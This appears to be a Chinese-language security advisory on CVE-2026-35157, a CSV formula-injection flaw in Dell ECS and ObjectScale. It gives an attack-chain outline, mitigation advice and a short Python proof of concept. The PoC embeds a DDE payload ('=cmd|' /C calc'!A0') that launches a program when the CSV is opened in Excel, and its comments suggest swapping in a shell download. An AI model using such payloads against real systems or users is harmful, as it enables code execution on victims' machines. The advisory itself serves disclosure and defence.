IPBUF安全漏洞报告
English
CVE-2026-35157 CVSS 5.8 中危

CVE-2026-35157 Dell ECS CSV注入漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-35157
漏洞类型
CSV注入
CVSS评分
5.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Dell ECS, Dell ObjectScale

相关标签

CSV注入远程代码执行Dell ECSDell ObjectScaleRCE

漏洞概述

Dell ECS 3.8.1.0至3.8.1.7及Dell ObjectScale 4.3.0.0之前的版本存在CSV注入漏洞。该漏洞由于UI组件未正确中和CSV文件中的公式元素导致。未经身份验证的远程攻击者可利用此漏洞,诱导管理员导出包含恶意公式的CSV文件,一旦用户在电子表格软件中打开,即可触发远程代码执行,造成系统安全风险。

技术细节

该漏洞的具体成因在于Dell ECS和ObjectScale的Web UI接口在处理特定字段输入并将其导出为CSV文件时,缺乏对特殊字符和Excel公式语法的有效过滤与转义。攻击者无需身份验证,即可通过远程接口向系统提交包含恶意Excel公式(如`=HYPERLINK()`、`=EXEC()`或PowerShell命令)的数据。当具备权限的管理员或用户通过Web界面导出受影响的数据,并使用Microsoft Excel或LibreOffice等电子表格软件打开生成的CSV文件时,软件会自动解析单元格开头的等号并执行嵌入的恶意命令。尽管CVSS要求用户交互,但通过社会工程学手段诱导受害者打开文件相对容易,这使得攻击者能够在受害者的主机上下文中执行任意代码,可能导致系统被完全控制或敏感数据泄露。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标系统为Dell ECS或ObjectScale,并确认其版本存在漏洞。
STEP 2
Injection
攻击者无需认证,通过Web UI接口将包含恶意Excel公式的数据注入到系统可导出的字段中。
STEP 3
Export
系统管理员或受信任用户在不知情的情况下,通过管理界面导出包含恶意数据的内容为CSV文件。
STEP 4
Execution
受害者使用电子表格软件(如Excel)打开CSV文件,软件解析公式并执行恶意代码。
STEP 5
Impact
恶意代码在受害者的终端上执行,可能导致系统被控制或数据泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Example: CSV Injection Payload Generation # Target: Dell ECS / ObjectScale UI import csv def generate_malicious_csv(filename): # Malicious payload to execute calc.exe on Windows when opened in Excel # Attackers can replace this with downloading a shell, etc. payload = '=cmd|\' /C calc\'!A0' # Simulating data that might be injected via the UI (e.g., Username, Object Name) data = [ ['ID', 'UserName', 'Description'], ['1', 'admin', 'Normal User'], ['2', payload, 'Injected Payload'] ] with open(filename, 'w', newline='', encoding='utf-8') as file: writer = csv.writer(file) writer.writerows(data) print(f"[+] Generated malicious CSV file: {filename}") print(f"[+] Payload injected: {payload}") if __name__ == "__main__": generate_malicious_csv("exploit.csv")

影响范围

Dell ECS 3.8.1.0 - 3.8.1.7
Dell ObjectScale < 4.3.0.0

防御指南

临时缓解措施
建议用户不要直接从不可信来源打开CSV文件,或者在电子表格软件中禁用自动数据连接和宏执行。管理员应严格控制导出权限,并检查导出的数据内容是否包含异常的公式符号。

参考链接